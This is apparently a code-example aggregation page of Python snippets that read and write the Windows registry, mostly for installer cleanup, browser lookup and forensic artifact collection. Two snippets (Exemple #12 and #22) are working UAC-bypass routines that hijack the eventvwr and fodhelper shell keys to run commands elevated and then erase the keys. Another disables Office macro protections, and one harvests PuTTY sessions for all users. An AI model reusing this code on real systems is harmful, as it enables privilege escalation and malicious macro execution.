Exemple #1
0
def main():
    """
    Enumerate all installed products, go through all components and check if client refences
    point to valid products. Remove references to non-existing products if the user allowed it.
    """
    hkey_components = OpenKey(HKEY_LOCAL_MACHINE, COMPONENTS_KEY, 0,
                              KEY_ALL_ACCESS)

    missing_products = get_missing_products(hkey_components)

    print('Missing products refer the following components:')
    for product_guid in sorted(missing_products.keys()):
        if product_guid[1:] == '0' * 31:
            continue
        print('Product', transpose_guid(product_guid) + ':')
        for component_guid, component_file in missing_products[product_guid]:
            print(' ' + transpose_guid(component_guid), '=', component_file)

        print('Remove all references to product',
              transpose_guid(product_guid) + '? [y/n]')
        if strtobool(raw_input().lower()):
            for component_guid, component_file in missing_products[
                    product_guid]:
                hkey_component = OpenKey(hkey_components, component_guid, 0,
                                         KEY_ALL_ACCESS)
                print(
                    'Removing reference in ' + transpose_guid(component_guid),
                    '=', component_file)
                DeleteValue(hkey_component, product_guid)
                CloseKey(hkey_component)
        else:
            print('Cancelled removal of product', transpose_guid(product_guid))

    CloseKey(hkey_components)
Exemple #2
0
    def _Find(Key, SubKey):
        #print 'Key/SubKey',Key,SubKey
        key = OpenKey(Key, SubKey)
        N, v, w = QueryInfoKey(key)
        for i in range(N):
            DB_Name = EnumKey(key, i)
            #print 'DB_Name',key,i,DB_Name

            DB_Key = SubKey + '\\' + DB_Name
            #print 'Key/DB_Key',Key,DB_Key

            try:
                key_sub = OpenKey(Key, DB_Key)
                M, v, w = QueryInfoKey(key_sub)

                for ii in range(v):
                    key_value = EnumValue(key_sub, ii)
                    # NOT YET COMPLETE
                    if key_value[0] in ['DBQ', 'Database', 'EngineName']:
                        ODBC_DBs.append([DB_Name, key_value[1]])
                CloseKey(key_sub)
            except:
                if Key == HKEY_CURRENT_USER:
                    print 'ODBC Database not found: HKEY_CURRENT_USER', DB_Key
                else:
                    print 'ODBC Database not found: HKEY_LOCAL_MACHINE', DB_Key

        CloseKey(key)
Exemple #3
0
    def set_keys(self):

        baseOfficeKeyPath = r"Software\Microsoft\Office"
        installedVersions = list()
        try:
            officeKey = OpenKey(HKEY_CURRENT_USER, baseOfficeKeyPath, 0,
                                KEY_READ)
            for currentKey in xrange(0, QueryInfoKey(officeKey)[0]):
                isVersion = True
                officeVersion = EnumKey(officeKey, currentKey)
                if "." in officeVersion:
                    for intCheck in officeVersion.split("."):
                        if not intCheck.isdigit():
                            isVersion = False
                            break

                    if isVersion:
                        installedVersions.append(officeVersion)
            CloseKey(officeKey)
        except WindowsError:
            # Office isn't installed at all
            return

        for oVersion in installedVersions:
            key = CreateKeyEx(
                HKEY_CURRENT_USER,
                r"{0}\{1}\Publisher\Security".format(baseOfficeKeyPath,
                                                     oVersion), 0,
                KEY_SET_VALUE)

            SetValueEx(key, "VBAWarnings", 0, REG_DWORD, 1)
            SetValueEx(key, "AccessVBOM", 0, REG_DWORD, 1)
            SetValueEx(key, "ExtensionHardening", 0, REG_DWORD, 0)
            CloseKey(key)
Exemple #4
0
def get_installed_products():
    """
    Enumerate all installed products.
    """
    products = {}
    hkey_products = OpenKey(HKEY_LOCAL_MACHINE, PRODUCTS_KEY, 0,
                            KEY_ALL_ACCESS)

    try:
        product_index = 0
        while True:
            product_guid = EnumKey(hkey_products, product_index)
            hkey_product_properties = OpenKey(
                hkey_products, product_guid + r'\InstallProperties', 0,
                KEY_ALL_ACCESS)
            try:
                value = QueryValueEx(hkey_product_properties, 'DisplayName')[0]
            except WindowsError as oXcpt:
                if oXcpt.winerror != 2:
                    raise
                value = '<unknown>'
            CloseKey(hkey_product_properties)
            products[product_guid] = value
            product_index += 1
    except WindowsError as oXcpt:
        if oXcpt.winerror != 259:
            print(oXcpt.strerror + '.', 'error', oXcpt.winerror)
    CloseKey(hkey_products)

    print('Installed products:')
    for product_key in sorted(products.keys()):
        print(transpose_guid(product_key), '=', products[product_key])

    print()
    return products
Exemple #5
0
def default_browser_command():
    if WIN32:
        if six.PY2:
            from _winreg import (CloseKey, ConnectRegistry, HKEY_CLASSES_ROOT, # pylint: disable=import-error,no-name-in-module
                        HKEY_CURRENT_USER, OpenKey, QueryValueEx)
        else:
            from winreg import (CloseKey, ConnectRegistry, HKEY_CLASSES_ROOT, # pylint: disable=import-error,no-name-in-module
                        HKEY_CURRENT_USER, OpenKey, QueryValueEx)
        '''
        Tries to get default browser command, returns either a space delimited
        command string with '%1' as URL placeholder, or empty string.
        '''
        browser_class = 'Software\\Microsoft\\Windows\\Shell\\Associations\\UrlAssociations\\https\\UserChoice'
        try:
            reg = ConnectRegistry(None,HKEY_CURRENT_USER)
            key = OpenKey(reg, browser_class)
            value, t = QueryValueEx(key, 'ProgId')
            CloseKey(key)
            CloseKey(reg)
            reg = ConnectRegistry(None,HKEY_CLASSES_ROOT)
            key = OpenKey(reg, '%s\\shell\\open\\command' % value)
            path, t = QueryValueEx(key, None)
        except WindowsError:  # pylint: disable=undefined-variable
            # logger.warn(e)
            traceback.print_exc()
            return ''
        finally:
            CloseKey(key)
            CloseKey(reg)
        return path
    else:
        default_browser = webbrowser.get()
        return default_browser.name + " %1"
Exemple #6
0
    def _csv_user_assist(self, count_offset, is_win7_or_further):
        ''' Extracts information from UserAssist registry key which contains information about executed programs '''
        ''' The count offset is for Windows versions before 7, where it would start at 6... '''
        self.logger.info('Getting user_assist from registry')
        aReg = ConnectRegistry(None, HKEY_USERS)

        str_user_assist = 'Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\'
        with open(
                self.output_dir + '\\' + self.computer_name +
                '_userassist.csv', 'wb') as output:
            csv_writer = get_csv_writer(output)
            for index_sid in range(
                    QueryInfoKey(aReg)[0]):  # the number of subkeys
                # in HKEY_USERS, we have a list of subkeys which are SIDs
                str_sid = EnumKey(aReg, index_sid)
                try:
                    path = str_sid + '\\' + str_user_assist
                    username = str_sid2username(str_sid)
                    reg_user_assist = OpenKey(aReg, path)
                    for index_clsid in range(QueryInfoKey(reg_user_assist)
                                             [0]):  # the number of subkeys
                        # in UserAssist, we have a list of IDs which may vary between different Windows versions
                        str_clsid = EnumKey(reg_user_assist, index_clsid)
                        result = [username, str_sid, str_clsid]
                        reg_count = OpenKey(aReg, path + str_clsid + '\\Count')
                        date_last_mod = convert_windate(
                            QueryInfoKey(reg_count)[2])
                        for index_value in range(QueryInfoKey(reg_count)
                                                 [1]):  # the number of values
                            # the name of the value is encoded with ROT13
                            str_value_name = EnumValue(reg_count,
                                                       index_value)[0]
                            str_value_name = codecs.decode(
                                str_value_name, 'rot_13')
                            str_value_datatmp = EnumValue(
                                reg_count, index_value)[1]
                            # some data are less than 16 bytes for some reason...
                            if len(str_value_datatmp) < 16:
                                write_to_csv(
                                    result + [str_value_name, date_last_mod],
                                    csv_writer)
                            else:
                                if is_win7_or_further:
                                    arr_output = result + [
                                        str_value_name, date_last_mod
                                    ] + self.__csv_user_assist_value_decode_win7_and_after(
                                        str_value_datatmp, count_offset)
                                    write_to_csv(arr_output, csv_writer)
                                else:
                                    write_to_csv(
                                        result +
                                        [str_value_name, date_last_mod] + self.
                                        __csv_user_assist_value_decode_before_win7(
                                            str_value_datatmp, count_offset),
                                        csv_writer)
                        CloseKey(reg_count)
                    CloseKey(reg_user_assist)
                except WindowsError:
                    pass
            CloseKey(aReg)
Exemple #7
0
	def csv_startup_programs(self):
		''' Exports the programs running at startup '''
		''' [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]
			[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx]
			[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce]
			[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices]
			[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce]
			[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\\Userinit]
			[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run]
			
			[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
			[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnceEx]
			[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce]
			[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices]
			[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce]
			[HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows]
		'''
		self.logger.info("Getting startup programs from registry")
		software = '\Software'
		wow = '\Wow6432Node'
		with open(self.output_dir + '\\' + self.computer_name + '_startup.csv', 'wb') as output:
			csv_writer = get_csv_writer(output)
			aReg = ConnectRegistry(None, HKEY_USERS)
			for index_sid in range(QueryInfoKey(aReg)[0]): # the number of subkeys
				# in HKEY_USERS, we have a list of subkeys which are SIDs
				str_sid = EnumKey(aReg, index_sid)
				username = str_sid2username(str_sid)
				paths = ['\Microsoft\Windows\CurrentVersion\Run\\', '\Microsoft\Windows\CurrentVersion\RunOnce\\',
						'\Software\Microsoft\Windows\CurrentVersion\RunOnceEx',
						'\Microsoft\Windows\CurrentVersion\RunServices\\',
						'\Microsoft\Windows\CurrentVersion\RunServicesOnce\\',
						'\Microsoft\Windows NT\CurrentVersion\Winlogon\\Userinit\\']
				for path in paths:
					try:
						full_path = str_sid + software + path
						self._dump_csv_registry_to_output('HKEY_USERS', full_path, aReg, csv_writer, username)
						full_path = str_sid + software + wow + path
						self._dump_csv_registry_to_output('HKEY_USERS', full_path, aReg, csv_writer, username)
					except WindowsError:
						pass
			CloseKey(aReg)
		with open(self.output_dir + '\\' + self.computer_name + '_startup.csv', 'ab') as output:
			csv_writer = get_csv_writer(output)
			aReg = ConnectRegistry(None, HKEY_LOCAL_MACHINE)
			paths = ['\Microsoft\Windows\CurrentVersion\Run\\', '\Microsoft\Windows\CurrentVersion\RunOnce\\',
					'\Software\Microsoft\Windows\CurrentVersion\RunOnceEx',
					'\Microsoft\Windows\CurrentVersion\RunServices\\',
					'\Microsoft\Windows\CurrentVersion\RunServicesOnce\\',
					'\Microsoft\Windows NT\CurrentVersion\Windows\\',
					'\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run']
			for path in paths:
				try:
					full_path = software + path
					self._dump_csv_registry_to_output('HKEY_LOCAL_MACHINE', path, aReg, csv_writer)
					full_path = software + wow + path
					self._dump_csv_registry_to_output('HKEY_LOCAL_MACHINE', path, aReg, csv_writer)
				except WindowsError:
					pass
		CloseKey(aReg)
Exemple #8
0
def modifyKey(keyPath, regPath, value, root=HKEY_LOCAL_MACHINE):
    aReg = ConnectRegistry(None, root)

    if not setRegValue(aReg, keyPath, regPath, value):
        CloseKey(aReg)
        return False

    CloseKey(aReg)
    return True
Exemple #9
0
    def _csv_open_save_MRU(self, str_opensaveMRU):
        ''' Extracts information from OpenSaveMRU registry key which contains information about opened and saved windows '''
        # TODO : Win XP
        self.logger.info('Getting open_save_MRU from registry')
        aReg = ConnectRegistry(None, HKEY_USERS)

        with open(
                self.output_dir + '\\' + self.computer_name +
                '_opensaveMRU.csv', 'wb') as output:
            csv_writer = get_csv_writer(output)
            for index_sid in range(
                    QueryInfoKey(aReg)[0]):  # the number of subkeys
                # in HKEY_USERS, we have a list of subkeys which are SIDs
                str_sid = EnumKey(aReg, index_sid)
                try:
                    username = str_sid2username(str_sid)
                    path = str_sid + '\\' + str_opensaveMRU
                    reg_opensaveMRU = OpenKey(aReg, path)
                    for index_clsid in range(QueryInfoKey(reg_opensaveMRU)
                                             [0]):  # the number of subkeys
                        str_filetype = EnumKey(reg_opensaveMRU, index_clsid)
                        reg_filetype = OpenKey(aReg,
                                               path + '\\' + str_filetype)
                        date_last_mod = convert_windate(
                            QueryInfoKey(reg_filetype)[2])
                        # now get the value from the SID subkey
                        for index_value in range(
                                QueryInfoKey(reg_filetype)
                            [1]):  # the number of values
                            value_filetype = EnumValue(reg_filetype,
                                                       index_value)
                            # Here, it is quite... dirty, it is a binary MRU list in which we have to extract the interesting values
                            if value_filetype[0] != 'MRUListEx':
                                l_printable = self.__extract_filename_from_PIDLMRU(
                                    value_filetype[1])

                                # VERY DIRTY, if the list is empty it's probably because the string is off by 1...
                                if len(l_printable) == 0:
                                    # So we take away the first char to have a correct offset (modulo 2)
                                    l_printable = self.__extract_filename_from_PIDLMRU(
                                        value_filetype[1][1:])
                                if len(l_printable) != 0:
                                    str_printable = l_printable[-1]
                                    write_to_csv([
                                        username, str_sid, str_filetype,
                                        date_last_mod, str_printable
                                    ], csv_writer)
                                else:  # if the length is still 0 then... I'm at a loss for words
                                    write_to_csv([
                                        username, str_sid, str_filetype,
                                        date_last_mod
                                    ], csv_writer)
                        CloseKey(reg_filetype)
                    CloseKey(reg_opensaveMRU)
                except WindowsError:
                    pass
        CloseKey(aReg)
Exemple #10
0
def __win32_finddll():
    try:
        import winreg
    except ImportError:
        # assume Python 2
        from _winreg import (
            OpenKey,
            CloseKey,
            EnumKey,
            QueryValueEx,
            QueryInfoKey,
            HKEY_LOCAL_MACHINE,
        )
    else:
        from winreg import (
            OpenKey,
            CloseKey,
            EnumKey,
            QueryValueEx,
            QueryInfoKey,
            HKEY_LOCAL_MACHINE,
        )

    from distutils.version import LooseVersion
    import os

    dlls = []
    # Look up different variants of Ghostscript and take the highest
    # version for which the DLL is to be found in the filesystem.
    for key_name in (
            "AFPL Ghostscript",
            "Aladdin Ghostscript",
            "GNU Ghostscript",
            "GPL Ghostscript",
    ):
        try:
            k1 = OpenKey(HKEY_LOCAL_MACHINE, "Software\\%s" % key_name)
            for num in range(0, QueryInfoKey(k1)[0]):
                version = EnumKey(k1, num)
                try:
                    k2 = OpenKey(k1, version)
                    dll_path = QueryValueEx(k2, "GS_DLL")[0]
                    CloseKey(k2)
                    if os.path.exists(dll_path):
                        dlls.append((LooseVersion(version), dll_path))
                except WindowsError:
                    pass
            CloseKey(k1)
        except WindowsError:
            pass
    if dlls:
        dlls.sort()
        return dlls[-1][-1]
    else:
        return None
Exemple #11
0
    def ssh_putty_hosts():
        results = {}

        try:
            h = OpenKey(HKEY_USERS, '')
        except WindowsError:
            return

        idx = 0

        try:
            while True:
                user = EnumKey(h, idx)

                username, domain, _ = LookupAccountSidW(user)

                if username is None:
                    username = user
                    if domain:
                        user = domain + '\\' + user

                for reg_path in REG_PATHS:
                    try:
                        sessions = user + reg_path
                        h2 = OpenKey(HKEY_USERS, sessions)
                    except WindowsError:
                        continue

                    try:
                        idx2 = 0
                        while True:
                            session = EnumKey(h2, idx2)
                            record = extract_info(sessions + '\\' + session)
                            if record:
                                if username not in results:
                                    results[username] = {}

                                results[username].update(record)

                            idx2 += 1
                    except WindowsError:
                        pass

                    finally:
                        CloseKey(h2)

                idx += 1

        except WindowsError:
            return results

        finally:
            CloseKey(h)
Exemple #12
0
def registry_hijacking_eventvwr(cmd, params=""):
    #   '''
    #   Based on Invoke-EventVwrBypass, thanks to enigma0x3 (https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/)
    #   '''
    HKCU = ConnectRegistry(None, HKEY_CURRENT_USER)
    mscCmdPath = r'Software\Classes\mscfile\shell\open\command'

    if params:
        cmd = '%s %s'.strip() % (cmd, params)

    try:
        # The registry key already exist in HKCU, altering...
        registry_key = OpenKey(HKCU, mscCmdPath, KEY_SET_VALUE)
    except:
        # Adding the registry key in HKCU
        registry_key = CreateKey(HKCU, mscCmdPath)

    SetValueEx(registry_key, '', 0, REG_SZ, cmd)
    CloseKey(registry_key)

    # Executing eventvwr.exe
    eventvwrPath = os.path.join(os.environ['WINDIR'],'System32','eventvwr.exe')
    subprocess.check_output(eventvwrPath, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, shell=True)

    # Sleeping 5 secds...
    time.sleep(5)

    #Clean everything
    DeleteKey(HKCU, mscCmdPath)
Exemple #13
0
    def _dump_csv_registry_to_output(self,
                                     hive_name,
                                     path,
                                     hive,
                                     csv_writer,
                                     username=None,
                                     optional_function=None,
                                     is_recursive=True):
        ''' Dumps the registry in the given output file object
			Path should end with the '\' (for concat reasons) '''
        try:
            reg_key = OpenKey(hive, path)
            # print values from key
            date_last_mod = convert_windate(QueryInfoKey(reg_key)[2])
            self.__print_regkey_values_csv(reg_key, date_last_mod, hive_name,
                                           path, csv_writer, username,
                                           optional_function)
            if is_recursive:
                for index_subkey in range(
                        QueryInfoKey(reg_key)[0]):  # the number of subkeys
                    # then go further in the tree
                    str_subkey = EnumKey(reg_key, index_subkey)
                    self._dump_csv_registry_to_output(hive_name,
                                                      path + str_subkey + '\\',
                                                      hive, csv_writer,
                                                      username,
                                                      optional_function)
                CloseKey(reg_key)
        except WindowsError as e:
            if e.winerror == 5:  # Access denied
                pass
            else:
                raise e
Exemple #14
0
    def _iter_log_names(self):
        dups = set()

        for well_known in ('Application', 'Security', 'System'):
            dups.add(well_known)
            yield well_known

        key = OpenKeyEx(HKEY_LOCAL_MACHINE,
                        r'SYSTEM\CurrentControlSet\Services\EventLog', 0,
                        KEY_READ)

        try:
            idx = 0
            while True:
                try:
                    source = EnumKey(key, idx)
                    if source in dups:
                        continue

                    dups.add(source)
                    yield source

                except WindowsError:
                    break

                finally:
                    idx += 1

        finally:
            CloseKey(key)
Exemple #15
0
    def get_missing(cls, path, required):
        """
        Checks required entries from the Windows registry.

        @param path: registry path to list of installed software
        @type path: str

        @param required: list of entries to check
        @type required: list

        @return: list of missing entries
        @rtype: list
        """
        reg = ConnectRegistry(None, HKEY_LOCAL_MACHINE)
        logging.getLogger().debug("Registry path: %s " % path)
        try:
            key = OpenKey(reg, path, 0, KEY_READ | KEY_WOW64_32KEY)
        except WindowsError:  # pyflakes.ignore

            logging.getLogger().warn("Unable to get registry path: %s " % path)
            logging.getLogger().warn("Cannot check missing software")
            return []

        missing = required
        i = 0
        while True:
            try:
                folder = EnumKey(key, i)
                if folder in missing:
                    missing.remove(folder)
                i += 1
            except WindowsError:  # pyflakes.ignore
                break
        CloseKey(key)
        return missing
Exemple #16
0
def extend_user_env_windows(name, value, mode):
    '''NEVER call this function directly.
    Use the safer and platform-neutral 'extend_user_env' instead.'''
    # !! We're messing with the Windows Registry here, edit with care !!
    import _winreg
    from _winreg import OpenKey, QueryValueEx, SetValueEx, CloseKey
    user_env = OpenKey(_winreg.HKEY_CURRENT_USER, 'Environment', 0,
                       _winreg.KEY_ALL_ACCESS)
    try:
        old_value, old_value_type = QueryValueEx(user_env, name)
        assert old_value_type in (_winreg.REG_SZ, _winreg.REG_EXPAND_SZ)
    except WindowsError:
        old_value, old_value_type = '', _winreg.REG_SZ
    if not old_value or mode == 'o':
        new_value = value
    elif mode == 'a':
        new_value = os.pathsep.join((old_value, value))
    else:  # mode == 'p'
        new_value = os.pathsep.join((value, old_value))
    if old_value_type == _winreg.REG_SZ and value.find('%') != -1:
        new_value_type = _winreg.REG_EXPAND_SZ
    else:
        new_value_type = old_value_type
    SetValueEx(user_env, name, 0, new_value_type, new_value)
    CloseKey(user_env)
Exemple #17
0
def get_missing_products(hkey_components):
    """
    Detect references to missing products.
    """
    products = get_installed_products()

    missing_products = {}

    for component_index in xrange(0, QueryInfoKey(hkey_components)[0]):
        component_guid = EnumKey(hkey_components, component_index)
        hkey_component = OpenKey(hkey_components, component_guid, 0,
                                 KEY_ALL_ACCESS)
        clients = []
        for value_index in xrange(0, QueryInfoKey(hkey_component)[1]):
            client_guid, client_path = EnumValue(hkey_component,
                                                 value_index)[:2]
            clients.append((client_guid, client_path))
            if not client_guid in products:
                if client_guid in missing_products:
                    missing_products[client_guid].append(
                        (component_guid, client_path))
                else:
                    missing_products[client_guid] = [(component_guid,
                                                      client_path)]
        CloseKey(hkey_component)
    return missing_products
def get_installed_products():
    """
    Enumerate all installed products.
    """
    products = {}
    hkey_products = OpenKey(HKEY_LOCAL_MACHINE, PRODUCTS_KEY, 0,
                            KEY_ALL_ACCESS)

    try:
        product_index = 0
        while True:
            product_guid = EnumKey(hkey_products, product_index)
            hkey_product_properties = OpenKey(
                hkey_products, product_guid + r'\InstallProperties', 0,
                KEY_ALL_ACCESS)
            try:
                value = QueryValueEx(hkey_product_properties, 'DisplayName')[0]
            except WindowsError, exception:
                if exception.winerror != 2:
                    raise
                value = '<unknown>'
            CloseKey(hkey_product_properties)
            products[product_guid] = value
            product_index += 1
    except WindowsError, exceptione:
        if exceptione.winerror != 259:
            print exceptione.strerror + '.', 'error', exceptione.winerror
Exemple #19
0
    def _get_key_info(self, key_name):
        ''' Extract information from the registry concerning the USB key '''
        #HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{a5dcbf10-6530-11d2-901f-00c04fb951ed}
        str_reg_key_usbinfo = "SYSTEM\ControlSet001\Control\DeviceClasses\{a5dcbf10-6530-11d2-901f-00c04fb951ed}\\"

        # here is a sample of a key_name
        # ##?#USBSTOR#Disk&Ven_&Prod_USB_DISK_2.0&Rev_PMAP#07BC13025A3B03A1&0#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
        # the logic is : there are 6 '#' so we should split this string on '#' and get the USB id (index 5)
        index_id = 5
        usb_id = key_name.split('#')[index_id]
        # now we want only the left part of the which may contain another separator '&' -> 07BC13025A3B03A1&0
        usb_id = usb_id.split('&')[0]

        # next we look in the registry for such an id
        key_ids = ""
        reg_key_info = OpenKey(self.aReg, str_reg_key_usbinfo)
        for i in range(QueryInfoKey(reg_key_info)[0]):  # the number of subkeys
            try:
                subkey_name = EnumKey(reg_key_info, i)
                if usb_id in subkey_name:
                    # example of a key_info_name
                    # ##?#USB#VID_26BD&PID_9917#0702313E309E0863#{a5dcbf10-6530-11d2-901f-00c04fb951ed}
                    # the pattern is quite similar, a '#' separated string, with 5 as key id and 4 as VID&PID, we need those 2
                    index_id = 4
                    key_ids = subkey_name.split('#')[index_id]
                    break
            except EnvironmentError:
                break
        CloseKey(reg_key_info)
        return key_ids
Exemple #20
0
 def csv_windows_values(self):
     # outputs winlogon's values to file
     self.logger.info('Getting windows values from registry')
     path = 'Software\Microsoft\Windows NT\CurrentVersion\Windows\\'
     with open(
             self.output_dir + '\\' + self.computer_name +
             '_windows_values.csv', 'wb') as output:
         aReg = ConnectRegistry(None, HKEY_LOCAL_MACHINE)
         csv_writer = get_csv_writer(output)
         try:
             self._dump_csv_registry_to_output('HKEY_LOCAL_MACHINE',
                                               path,
                                               aReg,
                                               csv_writer,
                                               is_recursive=False)
             aReg = ConnectRegistry(None, HKEY_USERS)
             for index_sid in range(
                     QueryInfoKey(aReg)[0]):  # the number of subkeys
                 # in HKEY_USERS, we have a list of subkeys which are SIDs
                 str_sid = EnumKey(aReg, index_sid)
                 username = str_sid2username(str_sid)
                 full_path = str_sid + '\\' + path
                 try:
                     self._dump_csv_registry_to_output('HKEY_USERS',
                                                       full_path,
                                                       aReg,
                                                       csv_writer,
                                                       username,
                                                       is_recursive=False)
                 except WindowsError:
                     pass
         except WindowsError:
             pass
     CloseKey(aReg)
Exemple #21
0
    def add_registry_entry(name, node_id):
        """
        Adds a node to registry.

        :param name: Node name.
        :type name: String

        :param id: Node id.
        :type id: Integer

        """
        keys = ['Software', 'Classes', '*', 'shell',
                'DiWaCS: Open in {0}'.format(name), 'command']
        key = ''
        for k, islast in IterIsLast(keys):
            key += k if key == '' else '\\' + k
            try:
                rkey = OpenKey(HKEY_CURRENT_USER, key, 0, KEY_ALL_ACCESS)
            except:
                rkey = CreateKey(HKEY_CURRENT_USER, key)
                if islast:
                    rpath = u'send_file_to.exe {0} "%1"'.format(node_id)
                    regpath = os.path.join(os.getcwdu(), rpath)
                    SetValueEx(rkey, '', 0, REG_SZ, regpath)
            if rkey:
                CloseKey(rkey)
Exemple #22
0
def registry_hijacking_fodhelper(cmd, params=""):

    HKCU            = ConnectRegistry(None, HKEY_CURRENT_USER)
    fodhelperPath   = r'Software\Classes\ms-settings\Shell\Open\command'

    if params:
        cmd = '%s %s'.strip() % (cmd, params)

    try:
        # The registry key already exist in HKCU, altering...
        OpenKey(HKCU, fodhelperPath, KEY_SET_VALUE)
    except:
        # Adding the registry key in HKCU
        CreateKey(HKCU, fodhelperPath)

    registry_key = OpenKey(HKCU, fodhelperPath, 0, KEY_WRITE)
    SetValueEx(registry_key, 'DelegateExecute', 0, REG_SZ, "")
    SetValueEx(registry_key, '', 0, REG_SZ, cmd)
    CloseKey(registry_key)

    # Creation fodhelper.exe path
    triggerPath = os.path.join(os.environ['WINDIR'],'System32','fodhelper.exe')
    # Disables file system redirection for the calling thread (File system redirection is enabled by default)
    wow64 = ctypes.c_long(0)
    ctypes.windll.kernel32.Wow64DisableWow64FsRedirection(ctypes.byref(wow64))
    # Executing fodhelper.exe
    subprocess.check_output(triggerPath, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, shell=True)
    # Enable file system redirection for the calling thread
    ctypes.windll.kernel32.Wow64EnableWow64FsRedirection(wow64)

    # Sleeping 5 secds...
    time.sleep(5)

    # Clean everything
    DeleteKey(HKCU, fodhelperPath)
Exemple #23
0
 def csv_shell_bags(self):
     ''' Exports the shell bags from Windows registry in a csv '''
     # TODO Check Vista and under
     self.logger.info("Getting shell bags from registry")
     aReg = ConnectRegistry(None, HKEY_USERS)
     with open(
             self.output_dir + '\\' + self.computer_name + '_shellbags.csv',
             'wb') as output:
         csv_writer = get_csv_writer(output)
         for index_sid in range(
                 QueryInfoKey(aReg)[0]):  # the number of subkeys
             # in HKEY_USERS, we have a list of subkeys which are SIDs
             str_sid = EnumKey(aReg, index_sid)
             username = str_sid2username(str_sid)
             paths = [
                 '\\Software\\Microsoft\\Windows\\Shell\\Bags\\',
                 '\\Software\\Microsoft\\Windows\\Shell\\BagMRU\\',
                 '\\Software\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\Shell\\Bags\\',
                 '\\Software\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\Shell\\BagMRU\\'
             ]
             for path in paths:
                 try:
                     full_path = str_sid + path
                     self._dump_csv_registry_to_output(
                         'HKEY_USERS', full_path, aReg, csv_writer,
                         username, self.__decode_shellbag_itempos_data)
                 except WindowsError:
                     pass
     CloseKey(aReg)
Exemple #24
0
	def csv_recent_docs(self):
		# Shows where recently opened files are saved and when they were opened
		self.logger.info('Getting recent_docs from registry')
		path = '\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs\\'
		aReg = ConnectRegistry(None,HKEY_USERS)
		with open(self.output_dir + '\\' + self.computer_name + '_recent_docs.csv', 'wb') as output:
			csv_writer = get_csv_writer(output)
			for index_sid in range(QueryInfoKey(aReg)[0]): # the number of subkeys (SIDs)
				str_sid = EnumKey(aReg, index_sid)
				full_path = str_sid + path
				try:
					username = str_sid2username(str_sid)
					result = [username, str_sid]
					reg_recent_docs = OpenKey(aReg, full_path)
					# Get values of RecentDocs itself
					for index_value in range(QueryInfoKey(reg_recent_docs)[1]): # the number of values (RecentDocs)
						str_value_name = EnumValue(reg_recent_docs, index_value)[0]
						str_value_datatmp = EnumValue(reg_recent_docs, index_value)[1]
						if str_value_name != "MRUListEx":
							value_decoded = self.__decode_recent_docs_MRU(str_value_datatmp)
							write_to_csv(result + value_decoded, csv_writer)
					# Get values of RecentDocs subkeys
					for index_recent_docs_subkey in range(QueryInfoKey(reg_recent_docs)[0]): # the number of subkeys (RecentDocs)
						recent_docs_subkey = EnumKey(reg_recent_docs, index_recent_docs_subkey)
						reg_recent_docs_subkey = OpenKey(aReg, full_path + recent_docs_subkey)
						for index_value in range(QueryInfoKey(reg_recent_docs_subkey)[1]): # the number of values (RecentDocs subkeys)
							str_value_name = EnumValue(reg_recent_docs_subkey, index_value)[0]
							str_value_datatmp = EnumValue(reg_recent_docs_subkey, index_value)[1]
							if str_value_name != "MRUListEx":
								value_decoded = self.__decode_recent_docs_MRU(str_value_datatmp)
								write_to_csv(result + value_decoded, csv_writer)
					#self._dump_csv_registry_to_output('HKEY_USERS', full_path, aReg, csv_writer, username)
				except WindowsError:
					pass
		CloseKey(aReg)
Exemple #25
0
def setRegValue(aReg, keyPath, regPath, value):
    try:
        aKey = OpenKey(aReg, keyPath, 0, KEY_WRITE)
        SetValueEx(aKey, regPath, 0, REG_DWORD, value)
        CloseKey(aKey)
        return True
    except:
        return False
Exemple #26
0
def get_current_wallpaper(win):
    """
    Try to get the current wallpaper image path.

    :param win: Windows version (Major, Minor).
    :type win: Tuple of Integers

    :returns: Wallpaper image path if it can find it.
    :rtype: String

    """
    wallpaper = None
    wallpaper_path = ''
    key = None
    default_entry = None
    reg_location = None
    LOGGER.debug('get_current_wallpaper: ' + str(win))
    if win[0] == 5:  # XP == 5,1    XP64 == 5,2
        reg_location = __WIN_XP_REG
    elif win[0] == 6:
        reg_location = __WIN_VISTA7_REG
        if win[1] == 0:  # Vista
            default_entry = r'Microsoft\Windows\Themes\TranscodedWallpaper.jpg'
        elif win[1] == 1:  # Windows 7
            default_entry = r'Microsoft\Windows\Themes\TranscodedWallpaper.jpg'
        elif win[1] == 2:  # Windows 8
            default_entry = r'Microsoft\Windows\Themes\TranscodedWallpaper'
    try:
        # Try the defualt location if available.
        if default_entry and ('APPDATA' in os.environ):
            wallpaper_path = os.path.join(os.environ['APPDATA'], default_entry)
            LOGGER.debug('Accessing: ' + wallpaper_path)
        # Get current current_wallpaper from registry if needed.
        if wallpaper_path and os.path.exists(wallpaper_path):
            wallpaper = wallpaper_path
        # We might have the default wallpaper now, but let's try
        # replace it with the current one...
        if reg_location:
            LOGGER.debug('reg_location: ' + str(reg_location))
            key = OpenKey(HKEY_CURRENT_USER, reg_location)
            LOGGER.debug('key: ' + str(key) + ' open!')
